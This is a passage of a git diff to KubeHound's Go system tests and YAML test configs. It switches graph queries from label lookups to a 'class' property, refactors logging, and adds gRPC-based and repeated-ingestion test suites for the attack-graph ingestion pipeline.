Scoping only to the roles related to the attacks to avoid dependency on the Kind Cluster default roles Has("name", gremlingo.TextP.StartingWith("rolebind-")). @@ -887,10 +896,10 @@ func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_3() { // Case 4 (cf docs) func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_4() { results, err := suite.g.V(). - HasLabel("PermissionSet"). + Has("class", "PermissionSet"). Has("isNamespaced", true). OutE().HasLabel("ROLE_BIND"). - InV().HasLabel("PermissionSet"). + InV().Has("class", "PermissionSet"). Has("isNamespaced", false). // Scoping only to the roles related to the attacks to avoid dependency on the Kind Cluster default roles Has("name", gremlingo.TextP.StartingWith("rolebind")). @@ -910,7 +919,7 @@ func (suite *EdgeTestSuite) TestEdge_ROLE_BIND_CASE_4() { func (suite *EdgeTestSuite) Test_NoEdgeCase() { // The control pod has no interesting properties and therefore should have NO outgoing edges results, err := suite.g.V(). - HasLabel("Container"). + Has("class", "Container"). Has("name", "control-pod"). Out(). ToList() diff --git a/test/system/graph_vertex_test.go b/test/system/graph_vertex_test.go index c795003b5..d8b5f82ff 100644 --- a/test/system/graph_vertex_test.go +++ b/test/system/graph_vertex_test.go @@ -84,7 +84,7 @@ type VertexTestSuite struct { func (suite *VertexTestSuite) SetupSuite() { require := suite.Require() ctx := context.Background() - cfg := config.MustLoadConfig("./kubehound.yaml") + cfg := config.MustLoadConfig(ctx, "./kubehound.yaml") // JanusGraph gdb, err := graphdb.Factory(ctx, cfg) @@ -106,7 +106,7 @@ func (suite *VertexTestSuite) resultsToStringArray(results []*gremlingo.Result) } func (suite *VertexTestSuite) TestVertexContainer() { - results, err := suite.g.V().HasLabel(vertex.ContainerLabel).ElementMap().ToList() + results, err := suite.g.V().Has("class", vertex.ContainerLabel).ElementMap().ToList() suite.NoError(err) suite.Equal(len(expectedContainers), len(results)-numberOfKindDefaultContainer) @@ -183,7 +183,7 @@ func (suite *VertexTestSuite) TestVertexContainer() { } func (suite *VertexTestSuite) TestVertexNode() { - results, err := suite.g.V().HasLabel(vertex.NodeLabel).ElementMap().ToList() + results, err := suite.g.V().Has("class", vertex.NodeLabel).ElementMap().ToList() suite.NoError(err) suite.Equal(len(expectedNodes), len(results)) @@ -219,7 +219,7 @@ func (suite *VertexTestSuite) TestVertexNode() { } func (suite *VertexTestSuite) TestVertexPod() { - results, err := suite.g.V().HasLabel(vertex.PodLabel).ElementMap().ToList() + results, err := suite.g.V().Has("class", vertex.PodLabel).ElementMap().ToList() suite.NoError(err) suite.Equal(len(expectedPods), len(results)-numberOfKindDefaultPod) @@ -269,7 +269,7 @@ func (suite *VertexTestSuite) TestVertexPod() { func (suite *VertexTestSuite) TestVertexPermissionSet() { results, err := suite.g.V(). - HasLabel(vertex.PermissionSetLabel). + Has("class", vertex.PermissionSetLabel). Has("namespace", "default"). Values("name"). ToList() @@ -292,7 +292,7 @@ func (suite *VertexTestSuite) TestVertexPermissionSet() { func (suite *VertexTestSuite) TestVertexCritical() { results, err := suite.g.V(). - HasLabel(vertex.PermissionSetLabel). + Has("class", vertex.PermissionSetLabel). Has("critical", true). Values("role"). ToList() @@ -311,65 +311,71 @@ func (suite *VertexTestSuite) TestVertexCritical() { } func (suite *VertexTestSuite) TestVertexVolume() { - results, err := suite.g.V().HasLabel(vertex.VolumeLabel).ElementMap().ToList() + results, err := suite.g.V().Has("class", vertex.VolumeLabel).ElementMap().ToList() suite.NoError(err) suite.Equal(61, len(results)) - results, err = suite.g.V().HasLabel(vertex.VolumeLabel).Has("sourcePath", "/proc/sys/kernel").Has("name", "nodeproc").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.VolumeLabel).Has("sourcePath", "/proc/sys/kernel").Has("name", "nodeproc").ElementMap().ToList() suite.NoError(err) suite.Equal(1, len(results)) - results, err = suite.g.V().HasLabel(vertex.VolumeLabel).Has("sourcePath", "/lib/modules").Has("name", "lib-modules").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.VolumeLabel).Has("sourcePath", "/lib/modules").Has("name", "lib-modules").ElementMap().ToList() suite.NoError(err) suite.Greater(len(results), 1) // Not sure why it has "6" - results, err = suite.g.V().HasLabel(vertex.VolumeLabel).Has("sourcePath", "/var/log").Has("name", "nodelog").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.VolumeLabel).Has("sourcePath", "/var/log").Has("name", "nodelog").ElementMap().ToList() suite.NoError(err) suite.Equal(len(results), 1) } func (suite *VertexTestSuite) TestVertexIdentity() { - results, err := suite.g.V().HasLabel(vertex.IdentityLabel).ElementMap().ToList() + results, err := suite.g.V().Has("class", vertex.IdentityLabel).ElementMap().ToList() suite.NoError(err) suite.Greater(len(results), 50) - results, err = suite.g.V().HasLabel(vertex.IdentityLabel).Has("name", "tokenget-sa").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.IdentityLabel).Has("name", "tokenget-sa").ElementMap().ToList() suite.NoError(err) suite.Equal(len(results), 1) - results, err = suite.g.V().HasLabel(vertex.IdentityLabel).Has("name", "impersonate-sa").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.IdentityLabel).Has("name", "impersonate-sa").ElementMap().ToList() suite.NoError(err) suite.Equal(len(results), 1) - results, err = suite.g.V().HasLabel(vertex.IdentityLabel).Has("name", "tokenlist-sa").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.IdentityLabel).Has("name", "tokenlist-sa").ElementMap().ToList() suite.NoError(err) suite.Equal(len(results), 1) - results, err = suite.g.V().HasLabel(vertex.IdentityLabel).Has("name", "pod-patch-sa").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.IdentityLabel).Has("name", "pod-patch-sa").ElementMap().ToList() suite.NoError(err) suite.Equal(len(results), 1) - results, err = suite.g.V().HasLabel(vertex.IdentityLabel).Has("name", "pod-create-sa").ElementMap().ToList() + results, err = suite.g.V().Has("class", vertex.IdentityLabel).Has("name", "pod-create-sa").ElementMap().ToList() suite.NoError(err) suite.Equal(len(results), 1) } func (suite *VertexTestSuite) TestVertexClusterProperty() { // All vertices should have the cluster property set - results, err := suite.g.V(). - Values("cluster"). - Dedup(). - ToList() - - suite.NoError(err) - suite.GreaterOrEqual(len(results), 1) - - present := suite.resultsToStringArray(results) - expected := []string{ - "kind-kubehound.test.local", + for _, label := range vertex.Labels { + suite.Run(label, func() { + results, err := suite.g.V(). + Has("class", label). + Values("cluster"). + Dedup(). + ToList() + + suite.NoError(err) + suite.GreaterOrEqual(len(results), 1) + + present := suite.resultsToStringArray(results) + expected := []string{ + "kind-kubehound.test.local", + } + + suite.Subset(present, expected) + }) } - suite.Subset(present, expected) } func (suite *VertexTestSuite) TearDownSuite() { diff --git a/test/system/kubehound.yaml b/test/system/kubehound.yaml index 7c3ef5a3a..fee00b650 100644 --- a/test/system/kubehound.yaml +++ b/test/system/kubehound.yaml @@ -3,12 +3,16 @@ storage: retry: 6 collector: type: live-k8s-api-collector + non_interactive: true janusgraph: url: "ws://localhost:8183/gremlin" connection_timeout: 60s mongodb: url: "mongodb://localhost:27018" connection_timeout: 60s +builder: + edge: + large_cluster_optimizations: false telemetry: enabled: true tags: diff --git a/test/system/kubehound_dump.yaml b/test/system/kubehound_dump.yaml index ed1837de3..892ab4e55 100644 --- a/test/system/kubehound_dump.yaml +++ b/test/system/kubehound_dump.yaml @@ -3,6 +3,7 @@ storage: retry: 6 collector: type: file-collector + non_interactive: true janusgraph: url: "ws://localhost:8183/gremlin" connection_timeout: 60s @@ -21,4 +22,18 @@ telemetry: # in order to be able to have the chance to run it once during a run against the kind cluster profiler: period: "5s" - cpu_duration: "5s" \ No newline at end of file + cpu_duration: "5s" +builder: + edge: + large_cluster_optimizations: false +# Ingestor configuration (for KHaaS) +ingestor: + blob: + bucket_url: "" # (i.e.: s3://) + region: "" # (i.e.: us-west-2) + temp_dir: "/tmp/kubehound" + archive_name: "archive.tar.gz" + max_archive_size: 2147483648 # 2GB + api: # GRPC endpoint for the ingestor + endpoint: "127.0.0.1:9000" + insecure: true diff --git a/test/system/setup_test.go b/test/system/setup_test.go index 54fae67a4..6b9e725f3 100644 --- a/test/system/setup_test.go +++ b/test/system/setup_test.go @@ -3,13 +3,18 @@ package system import ( "context" + "fmt" "os" "testing" "time" "github.com/DataDog/KubeHound/pkg/cmd" "github.com/DataDog/KubeHound/pkg/config" + "github.com/DataDog/KubeHound/pkg/ingestor/api" + "github.com/DataDog/KubeHound/pkg/ingestor/api/grpc" + "github.com/DataDog/KubeHound/pkg/ingestor/notifier/noop" "github.com/DataDog/KubeHound/pkg/ingestor/puller" + "github.com/DataDog/KubeHound/pkg/ingestor/puller/blob" "github.com/DataDog/KubeHound/pkg/kubehound/core" "github.com/DataDog/KubeHound/pkg/kubehound/libkube" "github.com/DataDog/KubeHound/pkg/kubehound/providers" @@ -45,27 +50,36 @@ func RunTestSuites(t *testing.T) { } func InitSetupTest(ctx context.Context) *providers.ProvidersFactoryConfig { + l := log.Logger(ctx) err := cmd.InitializeKubehoundConfig(ctx, KubeHoundThroughDumpConfigPath, false, false) if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal("failed to initialize kubehound config", log.ErrorField(err)) } khCfg, err := cmd.GetConfig() if err != nil { - log.I.Fatal(err.Error()) + l.Fatal("failed to get config", log.ErrorField(err)) } // Initialisation of the p needed for the ingestion and the graph creation p, err := providers.NewProvidersFactoryConfig(ctx, khCfg) if err != nil { - log.I.Fatalf("factory config creation: %v", err) + l.Fatal("factory config creation", log.ErrorField(err)) } return p } -func DumpAndRun(ctx context.Context, compress bool, p *providers.ProvidersFactoryConfig) { +type runArgs struct { + runID string + cluster string + collectorPath string + resultPath string +} + +func Dump(ctx context.Context, compress bool) (*config.KubehoundConfig, string) { var err error + l := log.Logger(ctx) // Setting the base tags tag.SetupBaseTags() @@ -78,40 +92,47 @@ func DumpAndRun(ctx context.Context, compress bool, p *providers.ProvidersFactor } cmd.InitDumpCmd(dumpCmd) - viper.Set(config.CollectorFileArchiveFormat, compress) + viper.Set(config.CollectorFileArchiveNoCompress, !compress) tmpDir, err := os.MkdirTemp("/tmp/", "kh-system-tests-*") if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal("creating tempr dir", log.ErrorField(err)) } viper.Set(config.CollectorFileDirectory, tmpDir) + viper.Set(config.CollectorNonInteractive, true) // Initialisation of the Kubehound config err = cmd.InitializeKubehoundConfig(ctx, "", true, false) if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal("initializing kubehound config", log.ErrorField(err)) } khCfg, err := cmd.GetConfig() if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal("getting config", log.ErrorField(err)) } resultPath, err := core.DumpCore(ctx, khCfg, false) if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal("dumping core", log.ErrorField(err)) } + return khCfg, resultPath +} + +func RunLocal(ctx context.Context, runArgs *runArgs, compress bool, p *providers.ProvidersFactoryConfig) { // Saving the clusterName and collectorDir for the ingestion step // Those values are needed to run the ingestion pipeline - collectorDir := khCfg.Collector.File.Directory - clusterName := khCfg.Dynamic.ClusterName - runID := khCfg.Dynamic.RunID + collectorDir := runArgs.collectorPath + clusterName := runArgs.cluster + runID := runArgs.runID + l := log.Logger(ctx) if compress { - err := puller.ExtractTarGz(resultPath, collectorDir, config.DefaultMaxArchiveSize) + dryRun := false + err := puller.ExtractTarGz(ctx, dryRun, runArgs.resultPath, collectorDir, config.DefaultMaxArchiveSize) if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal("extracting tar gz", log.ErrorField(err)) } } @@ -125,29 +146,96 @@ func DumpAndRun(ctx context.Context, compress bool, p *providers.ProvidersFactor // Setting the collectorDir, clusterName and runID needed for the ingestion step // This information is used by the grpc server to run the ingestion viper.Set(config.CollectorFileDirectory, collectorDir) - viper.Set(config.CollectorFileClusterName, clusterName) - err = cmd.InitializeKubehoundConfig(ctx, KubeHoundThroughDumpConfigPath, false, false) + err := cmd.InitializeKubehoundConfig(ctx, KubeHoundThroughDumpConfigPath, false, false) if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal(err.Error()) } - khCfg, err = cmd.GetConfig() + khCfg, err := cmd.GetConfig() + if err != nil { + l.Fatal("get config", log.ErrorField(err)) + } + + // We need to flush the cache to prevent warning/error on the overwriting element in cache the any conflict with the previous ingestion + err = p.CacheProvider.Prepare(ctx) if err != nil { - log.I.Fatal(err.Error()) + l.Fatal("preparing cache provider", log.ErrorField(err)) } - err = khCfg.ComputeDynamic(config.WithClusterName(clusterName), config.WithRunID(runID.String())) + err = khCfg.ComputeDynamic(config.WithClusterName(clusterName), config.WithRunID(runID)) if err != nil { - log.I.Fatalf("collector client creation: %v", err) + l.Fatal("collector client creation", log.ErrorField(err)) } err = p.IngestBuildData(ctx, khCfg) if err != nil { - log.I.Fatalf("ingest build data: %v", err) + l.Fatal("ingest build data", log.ErrorField(err)) } } +func RunGRPC(ctx context.Context, runArgs *runArgs, p *providers.ProvidersFactoryConfig) { + // Extracting info from Dump phase + runID := runArgs.runID + cluster := runArgs.cluster + fileFolder := runArgs.collectorPath + l := log.Logger(ctx) + + // Reseting the context to simulate a new ingestion from scratch + ctx = context.Background() + // Reseting the base tags + tag.SetupBaseTags() + // Reseting the viper config + viper.Reset() + err := cmd.InitializeKubehoundConfig(ctx, KubeHoundThroughDumpConfigPath, false, false) + if err != nil { + l.Fatal("initialize kubehound config", log.ErrorField(err)) + } + + khCfg, err := cmd.GetConfig() + if err != nil { + l.Fatal("getting config", log.ErrorField(err)) + } + + khCfg.Ingestor.Blob.BucketUrl = fmt.Sprintf("file://%s", fileFolder) + l.Info("Creating Blob Storage provider") + puller, err := blob.NewBlobStorage(khCfg, khCfg.Ingestor.Blob) + if err != nil { + l.Fatal("initializign blob storage", log.ErrorField(err)) + } + + l.Info("Creating Noop Notifier") + noopNotifier := noop.NewNoopNotifier() + + l.Info("Creating Ingestor API") + ingestorApi := api.NewIngestorAPI(khCfg, puller, noopNotifier, p) + + // Start the GRPC server + go func() { + err := grpc.Listen(ctx, ingestorApi) + l.Fatal("listening grpc", log.ErrorField(err)) + }() + + // Starting ingestion of the dumped data + err = core.CoreClientGRPCIngest(ctx, khCfg.Ingestor, cluster, runID) + if err != nil { + l.Fatal("initialize core GRPC client", log.ErrorField(err)) + } +} +func DumpAndRun(ctx context.Context, compress bool, p *providers.ProvidersFactoryConfig) { + khCfg, resultPath := Dump(ctx, compress) + + // Extracting info from Dump phase + runArgs := &runArgs{ + runID: khCfg.Dynamic.RunID.String(), + cluster: khCfg.Dynamic.ClusterName, + collectorPath: khCfg.Collector.File.Directory, + resultPath: resultPath, + } + + RunLocal(ctx, runArgs, compress, p) +} + type FlatTestSuite struct { suite.Suite } @@ -184,6 +272,26 @@ func (s *CompressTestSuite) TestRun() { RunTestSuites(s.T()) } +type MultipleIngestioTestSuite struct { + suite.Suite +} + +func (s *MultipleIngestioTestSuite) SetupSuite() { + // Reseting the context to simulate a new ingestion from scratch + ctx := context.Background() + + p := InitSetupTest(ctx) + defer p.Close(ctx) + + // Simulating multiple ingestion (twice the same cluster) + DumpAndRun(ctx, true, p) + DumpAndRun(ctx, false, p) +} + +func (s *MultipleIngestioTestSuite) TestRun() { + RunTestSuites(s.T()) +} + type LiveTestSuite struct { suite.Suite } @@ -192,13 +300,14 @@ type LiveTestSuite struct { // an attack graph that can be queried in the individual system tests. func (s *LiveTestSuite) SetupSuite() { ctx := context.Background() + l := log.Logger(ctx) libkube.ResetOnce() // Initialisation of the Kubehound config cmd.InitializeKubehoundConfig(ctx, KubeHoundConfigPath, true, false) khCfg, err := cmd.GetConfig() if err != nil { - log.I.Fatalf(err.Error()) + l.Fatal("getting config", log.ErrorField(err)) } core.CoreLive(ctx, khCfg) @@ -208,6 +317,54 @@ func (s *LiveTestSuite) TestRun() { RunTestSuites(s.T()) } +type GRPCTestSuite struct { + suite.Suite +} + +func (s *GRPCTestSuite) SetupSuite() { + // Reseting the context to simulate a new ingestion from scratch + ctx := context.Background() + l := log.Logger(ctx) + + p := InitSetupTest(ctx) + defer p.Close(ctx) + + khCfg, _ := Dump(ctx, true) + + // Extracting info from Dump phase + runArgs := &runArgs{ + runID: khCfg.Dynamic.RunID.String(), + cluster: khCfg.Dynamic.ClusterName, + collectorPath: khCfg.Collector.File.Directory, + } + + RunGRPC(ctx, runArgs, p) + + // Reingesting the same to trigger the error + // Starting ingestion of the dumped data + err := cmd.InitializeKubehoundConfig(ctx, KubeHoundThroughDumpConfigPath, false, false) + if err != nil { + l.Fatalf("initialize config", log.ErrorField(err)) + } + + khCfg, err = cmd.GetConfig() + if err != nil { + l.Fatal("get config", log.ErrorField(err)) + } + + err = core.CoreClientGRPCIngest(ctx, khCfg.Ingestor, runArgs.cluster, runArgs.runID) + s.ErrorContains(err, api.ErrAlreadyIngested.Error()) +} + +func (s *GRPCTestSuite) TestRun() { + RunTestSuites(s.T()) +} + +// TODO: needs to add support of runID/cluster in all janusgraph requests system-tests to avoid collision +// func TestMultipleIngestioTestSuite(t *testing.T) { +// suite.Run(t, new(MultipleIngestioTestSuite)) +// } + func TestCompressTestSuite(t *testing.T) { suite.Run(t, new(CompressTestSuite)) } @@ -219,3 +376,7 @@ func TestLiveTestSuite(t *testing.T) { func TestFlatTestSuite(t *testing.T) { suite.Run(t, new(FlatTestSuite)) } + +func TestGRPCTestSuite(t *testing.T) { + suite.Run(t, new(GRPCTestSuite)) +} diff --git a/test/system/vertex.gen.go b/test/system/vertex.gen.go index 2a958eb27..1afb651c1 100644 --- a/test/system/vertex.gen.go +++ b/test/system/vertex.gen.go @@ -1,5 +1,5 @@ // PLEASE DO NOT EDIT -// THIS HAS BEEN GENERATED AUTOMATICALLY on 2023-11-01 10:47 +// THIS HAS BEEN GENERATED AUTOMATICALLY on 2024-06-19 15:03 // // Generate it with "go generate ./..." // @@ -967,9 +967,9 @@ var expectedContainers = map[string]graph.Container{ // Node: "", Compromised: 0, }, - "umh-core-pod": { + "umh-core-container": { StoreID: "", - Name: "umh-core-pod", + Name: "umh-core-container", Image: "ubuntu", Command: []string{}, Args: []string{},